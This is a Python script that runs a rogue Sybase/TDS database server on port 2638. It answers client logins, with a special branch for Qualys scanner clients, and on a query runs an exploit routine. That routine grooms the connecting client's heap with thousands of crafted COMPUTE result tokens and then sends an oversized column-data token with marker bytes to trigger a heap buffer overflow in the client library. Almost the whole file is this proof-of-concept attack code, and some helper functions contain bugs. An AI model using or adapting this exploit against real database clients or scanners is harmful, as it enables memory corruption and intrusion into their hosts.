#!/usr/bin/env python3
import io
import logging
import struct
import errno
import socketserver
try:
  from helperlib.binary import print_hexdump
  from helperlib.logging import default_config
except ImportError:
  def print_hexdump(*args, **kwargs):
    pass
  def default_config(*args, **kwargs):
    logging.basicConfig(level=logging.DEBUG)


LISTEN_ADDR = ('0.0.0.0', 2638)
L = logging.getLogger(__name__)


def u16(d):
  return struct.unpack('!H', d[:2])[0]


def phex(*args, **kwargs):
  kwargs.setdefault('colored', True)
  print_hexdump(*args, **kwargs)


class Field:
  prefix = '!'

  def __init__(self, name, fmt, *, prefix=None):
    self.name = name
    self._fmt = fmt
    if prefix:
      self.prefix = prefix

  def fmt(self, obj=None):
    return self._fmt

  def pack(self, obj):
    return struct.pack(self.prefix + self.fmt(obj), getattr(obj, self.name))

  def unpack(self, obj, fp):
    f = self.fmt(obj)
    l = struct.calcsize(f)
    setattr(obj, self.name, struct.unpack(self.prefix + f, fp.read(l))[0])

  def unpack_from(self, obj, data):
    f = self.fmt(obj)
    setattr(obj, self.name, struct.unpack_from(self.prefix + f, data)[0])
    return struct.calcsize(f)

  def default(self):
    return None


class Bytes(Field):
  def __init__(self, name, length_field=None, *, prefix=None):
    super(Bytes, self).__init__(name, 's', prefix=prefix)
    self.length_field = length_field

  def default(self):
    return None

  def fmt(self, obj=None):
    if obj is not None:
      f = getattr(obj, self.name, None)
      if f is None:
        l = getattr(obj, self.length_field)
      else:
        l = len(f)
      return f'{l}s'
    return super(Bytes, self).fmt(obj)


class FixedBytes(Field):
  def __init__(self, name, size, *, prefix=None):
    super(FixedBytes, self).__init__(name, f'{size}s', prefix=prefix)
    self.size = size

  def default(self):
    return bytes(self.size)


class Integer(Field):
  def __init__(self, name, *, prefix=None):
    super(Integer, self).__init__(name, 'I', prefix=prefix)

  def default(self):
    return 0


class Short(Field):
  def __init__(self, name, *, prefix=None):
    super(Short, self).__init__(name, 'H', prefix=prefix)

  def default(self):
    return 0


class Byte(Field):
  def __init__(self, name, *, prefix=None):
    super(Byte, self).__init__(name, 'B', prefix=prefix)

  def default(self):
    return 0


class Packet:
  packets = {}

  def __init__(self, **kwargs):
    for f in self._fields_:
      setattr(self, f.name, f.default())
    self.__dict__.update(kwargs)

  @classmethod
  def get_formats(cls, obj):
    return [
      f.fmt(obj)
      for f in cls._fields_
    ]

  def get_fields(self):
    return [(getattr(self, f.name), f.fmt(self)) for f in self._fields_]

  @classmethod
  def parse(cls, fp):
    last_packet = False
    data = b''
    while not last_packet:
      x = fp.read(1)
      if not x:
        raise OSError(errno.EIO, 'EOF', 'EOF')
      ptype = x[0]
      last_packet = fp.read(1) != b'\0'
      pkt_size = u16(fp.read(2))
      fp.read(4)
      print(ptype, last_packet, pkt_size)
      data += fp.read(pkt_size-8)
    phex(data)
    return Packet.packets[ptype].parse_payload(fp, data)

  @classmethod
  def parse_payload(cls, fp, d):
    obj = cls()
    i = 0
    for f in obj._fields_:
      i += f.unpack_from(obj, d[i:])

    return obj

  def calc_size(self):
    # fmt = 'BBHI'
    fmt = '!'
    fmt += ''.join(self.get_formats(self))
    return struct.calcsize(fmt)

  def serialize(self, fp):
    payload = b''.join(f.pack(self) for f in self._fields_)

    while payload:
      chunk = payload[:512]
      payload = payload[512:]
      fp.write(struct.pack('!BBHI', self.ptype, 0 if payload else 1, len(chunk)+8, 0))
      fp.write(chunk)

  def __repr__(self):
    fields = [
      f'{f.name}={getattr(self, f.name)!r}'
      for f in self._fields_
    ]
    name = type(self).__name__
    args = ', '.join(fields)
    return f'{name}({args})'


class Raw(Packet):
  def __init__(self, ptype, data):
    self.ptype = ptype
    self.data = data

  def serialize(self, fp):
    d = self.data
    while d:
      chunk = d[:512]
      d = d[512:]
      fp.write(struct.pack('!BBHI', self.ptype, 0 if d else 1, len(chunk)+8, 0))
      fp.write(chunk)
      

class Response(Packet):
  ptype = 4
  responses = {}

  @classmethod
  def parse_payload(cls, fp, d):
    rtype = d[0]
    return cls.responses[rtype].parse_response(fp, d[1:])

  def serialize(self, fp):
    self._fields_.insert(0, Byte('rtype'))
    super(Response, self).serialize(fp)
    self._fields_.pop(0)

  @classmethod
  def parse_response(cls, fp, d):
    obj = cls()
    i = 0
    for f in obj._fields_:
      i += f.unpack_from(obj, d[i:])

    return obj


class Login(Packet):
  ptype = 2
  _fields_ = [
    FixedBytes('host_name', 30),
    Byte('host_name_length'),
    FixedBytes('user_name', 30),
    Byte('user_name_length'),
    FixedBytes('password', 30),
    Byte('password_length'),
    FixedBytes('host_process', 30),
    Byte('host_process_length'),
    FixedBytes('magic1', 6),
    Byte('bulk_copy'),
    FixedBytes('magic2', 9),
    FixedBytes('app_name', 30),
    Byte('app_name_length'),
    FixedBytes('server_name', 30),
    Byte('server_name_length'),
    FixedBytes('magic3', 1),
    Byte('password2_length'),
    FixedBytes('password2', 30),
    FixedBytes('magic4', 223),
    Byte('password2_length_plus2'),
    Short('major_version'),
    Short('minor_version'),
    FixedBytes('library_name', 10),
    Byte('library_name_length'),
    Short('major_version2'),
    Short('minor_version2'),
    FixedBytes('magic6', 3),
    FixedBytes('language', 30),
    Byte('language_length'),
    FixedBytes('magic7', 1),
    Short('old_secure'),
    Byte('encrypted'),
    FixedBytes('magic8', 1),
    FixedBytes('sec_spare', 9),
    FixedBytes('char_set', 30),
    Byte('char_set_length'),
    FixedBytes('magic9', 1),
    FixedBytes('block_size', 6),
    Byte('block_size_length'),
    FixedBytes('magic10', 25),
  ]
Packet.packets[Login.ptype] = Login


class TDS5Normal(Packet):
  ptype = 15
  payloads = {}

  @classmethod
  def parse_payload(cls, fp, d):
    rtype = d[0]
    return cls.payloads[rtype].parse_subpayload(fp, d[1:])

  def serialize(self, fp):
    self._fields_.insert(0, Byte('ntype'))
    super(Response, self).serialize(fp)
    self._fields_.pop(0)

  @classmethod
  def parse_subpayload(cls, fp, d):
    obj = cls()
    i = 0
    for f in obj._fields_:
      i += f.unpack_from(obj, d[i:])

    return obj
Packet.packets[TDS5Normal.ptype] = TDS5Normal


class TDS5Query(TDS5Normal):
  ntype = 0x21
  _fields_ = [
    Integer('length', prefix='<'),
    # Byte('has_args'),
    Bytes('query', 'length'),  # has_args + query
  ]
TDS5Normal.payloads[TDS5Query.ntype] = TDS5Query


class TDS5Logout(TDS5Normal):
  ntype = 0x71
  _fields_ = [Byte('unknown')]
TDS5Normal.payloads[TDS5Logout.ntype] = TDS5Logout


class LoginAck(Response):
  rtype = 0xAD
  _fields_ = [
    Short('length', prefix='<'),
    Byte('ack'),
    Integer('version'),
    Byte('text_length'),
    Bytes('text', 'text_length'),
    Integer('ser_ver'),
  ]

  def serialize(self, fp):
    # self.length = 1+2+1+4+1+len(self.text)+4
    self.length = 1+4+1+len(self.text)+4
    super(LoginAck, self).serialize(fp)
Response.responses[LoginAck.rtype] = LoginAck


class Done(Response):
  rtype = 0xFD
  _fields_ = [
    Short('flags'),
    Short('unknown'),
    Integer('row_count'),
  ]
Response.responses[Done.rtype] = Done


class TDSHandler(socketserver.StreamRequestHandler):
  def send(self, pkt):
    buf = io.BytesIO()
    pkt.serialize(buf)
    data = buf.getvalue()
    phex(data)
    self.wfile.write(data)

  def handle(self):
    L.info('New client from %r', self.client_address)
    while True:
      try:
        p = Packet.parse(self.rfile)
      except OSError as e:
        L.error(str(e))
        break
      print(p)
      if isinstance(p, Login):
        name = b'ASE_DATABASE'
        la = LoginAck(text_length=len(name), text=name,
                      version=0x5000000, ack=6)
                      #version=0x74000004, ack=6)
        if p.host_name.startswith(b'qualys_scanner') and p.library_name.startswith(b'jConnect'):
          la.text_length -= 1  # qualys seems to be one of in the length check?
          la._fields_[0].prefix = '>'  # CT and qualys use differnt endianess??
          la.ack = 6  # failure
          self.send(la)
        elif p.library_name.startswith(b'CT-Library') or True:
          la._fields_[0].prefix = '<'  # CT and qualys use differnt endianess??
          la.ack = 5  # success
          self.send(la)
          self.send(Done(flags=0, unknown=0, row_count=0))
      elif isinstance(p, TDS5Query):
        self.exploit2(p)
      elif isinstance(p, TDS5Logout):
        self.send(Done(flags=0, unknown=0, row_count=0xff))
        break
    L.info('Closing connection of %r', self.client_address)

  def exploit(self, query):
    # TODO
    compute_id = 1
    columns = [b'foo', b'bar', b'baz']
    cols = b''.join(
        struct.pack(f'B{len(col_name)}s', len(col_name), col_name)
        for col_name in columns
    )
    rp = Raw(4, struct.pack('<BHH', 0xA7, 2+len(cols), compute_id) + cols)
    self.send(rp)
    num_cols = 0xff
    cols = b''.join(
        struct.pack('<BBIBB', 0x41, 0x42, 0x43, 31, 0)
        for _ in range(num_cols)
    )
    rp = Raw(4, struct.pack('<BHHB', 0xA8, 2+1+3, compute_id, num_cols) + cols + b'\0')
    self.send(rp)
    self.send(Done(flags=0, unknown=0, row_count=0xff))

  def alloc_col(num_cols, buf_size, compute_id=None):
    if compute_id is None:
      compute_id = getattr(self, 'compute_id', 0) + 1
      self.compute_id  = compute_id

    packets = [
      Raw(4, struct.pack('<BHH', 0xA7, 2 + num_cols * (1 + 4), compute_id) + 
             b''.join(
              struct.pack(f'B4s', 4, f'c{i:03d}')
              for i in range(num_cols)
            )
      ),
      Raw(4, struct.pack('<BHHB', 0xA8, 2+1+3, compute_id, num_cols) + 
             b''.join(
                struct.pack('<BBIBHBBBHB', 
                0x41, # operator
                0x42, # operand
                0x43, # usertype
                0xf0, # COL_TYPE
                0, # MAX_BYTE_SIZE (tds_cruldt_get_info)
                0, # DB_NAME
                0, # SCHEMA_NAME
                0, # TYPE_NAME
                0, # UDT_METADATA
                0, # locale
                )
                for _ in range(num_cols)
            ) + b'\0')
    ]

    return compute_id, packets

  def alloc_result(self):
      compute_id = getattr(self, 'compute_id', 0) +1
      self.compute_id = compute_id
      # 0x88 = TDS7_COMPUTE_RESULT_TOKEN
      p = Raw(4, struct.pack('<BHHB', 0x88, 0, compute_id, 0))
      self.send(p)


  def alloc_target(self):
    #TDS5_PARAMFMT_TOKEN
    p = Raw(4, struct.pack('<BHH', 0xEC, 0, 0))
    self.send(p)

  def alloc_aligned_buf(self, buf_size, compute_id=None):
    blob_size = 32
    align = 8
    if compute_id is None:
      compute_id = getattr(self, 'compute_id', 0) + 1
      self.compute_id  = compute_id

    num_cols = 0
    remain = buf_size
    row_size = 0
    while remain > 0:
      sz = blob_size + align - 1
      row_size += sz
      row_size -= row_size % align
      sz -= sz % align
      remain -= sz
      num_cols += 1
    L.info('Allocating %d columns @ %d bytes = %d (aligned to %d) to alloc %d bytes', num_cols, blob_size, row_size, align, buf_size)
    if row_size != buf_size:
      L.warn('Allocated buffer size is differnt from the requested: %d vs %d', row_size, buf_size)

    packets = [
      Raw(4, struct.pack('<BHH', 0xA7, 2 + num_cols * (1 + 4), compute_id) + 
             b''.join(
              struct.pack(f'B4s', 4, f'c{i:03d}'.encode())
              for i in range(num_cols)
            )
      ),
      Raw(4, struct.pack('<BHHB', 0xA8, 2+1+3, compute_id, num_cols) + 
             b''.join(
                struct.pack('<BBIBHBBBHB', 
                0x41, # operator
                0x42, # operand
                0x43, # usertype
                0xf0, # COL_TYPE
                0, # MAX_BYTE_SIZE (tds_cruldt_get_info)
                0, # DB_NAME
                0, # SCHEMA_NAME
                0, # TYPE_NAME
                0, # UDT_METADATA
                0, # locale
                )
                for _ in range(num_cols)
            ) + b'\0')
    ]
    
    return compute_id, packets

  def exploit2(self, query):

    # fill info->res_info
    p = Raw(4, struct.pack("<BHH", 0xEE, 0, 0))
    self.send(p)
    
    for i in range(5000):
        self.alloc_result()
    
    compute_id = self.compute_id + 1
    columns = [b'foo'] #, b'bar', b'baz']
    cols = b''.join(
        struct.pack(f'B{len(col_name)}s', len(col_name), col_name)
        for col_name in columns
    )
    rp = Raw(4, struct.pack('<BHH', 0xA7, 2+len(cols), compute_id) + cols)
  
    self.send(rp)
    

    #allocate buffer that we overflow
    # num_cols = 0xff
    num_cols = 1
    cols = b''.join(
        struct.pack('<BBIBHBBBHB', 
        0x41, # operator
        0x42, # operand
        0x43, # usertype
        0xf0, # COL_TYPE
        0, # MAX_BYTE_SIZE (tds_cruldt_get_info)
        0, # DB_NAME
        0, # SCHEMA_NAME
        0, # TYPE_NAME
        0, # UDT_METADATA
        0, # locale
        )
        for _ in range(num_cols)
    )
    rp = Raw(4, struct.pack('<BHHB', 0xA8, 2+1+3, compute_id, num_cols) + cols + b'\0')
    self.send(rp)

    #allocate struct that we corrupt
    self.alloc_target()


    # trigger overflow
    colsize = 0xff
    payload = b'B' * 32 + b'Z' * 12  + b'\x00\x00\x00\x00' + b'CCCC' + b'\x00\x00' + b'DD' +b'\x01\x00\x00\x00' + b'\x00\x00\x00\x00' +\
              b'EEEE' + b'FFFF' 

    colsize = len(payload)
    rp = Raw(4, struct.pack('<BH', 0xD3, compute_id) + struct.pack('<B',
       colsize, # colsize
    ) + payload)
    self.send(rp)

 
    # free all the stuff
    p = Raw(4, struct.pack("<BHH", 0xEE, 0, 0))
    self.send(p)


    self.send(Done(flags=0, unknown=0, row_count=0xff))


def main():
  default_config()
  socketserver.TCPServer.allow_reuse_address = True

  server = socketserver.ForkingTCPServer(LISTEN_ADDR, TDSHandler)
  L.info('Listening on %s:%d', *LISTEN_ADDR)
  server.serve_forever()


if __name__ == '__main__':
  main()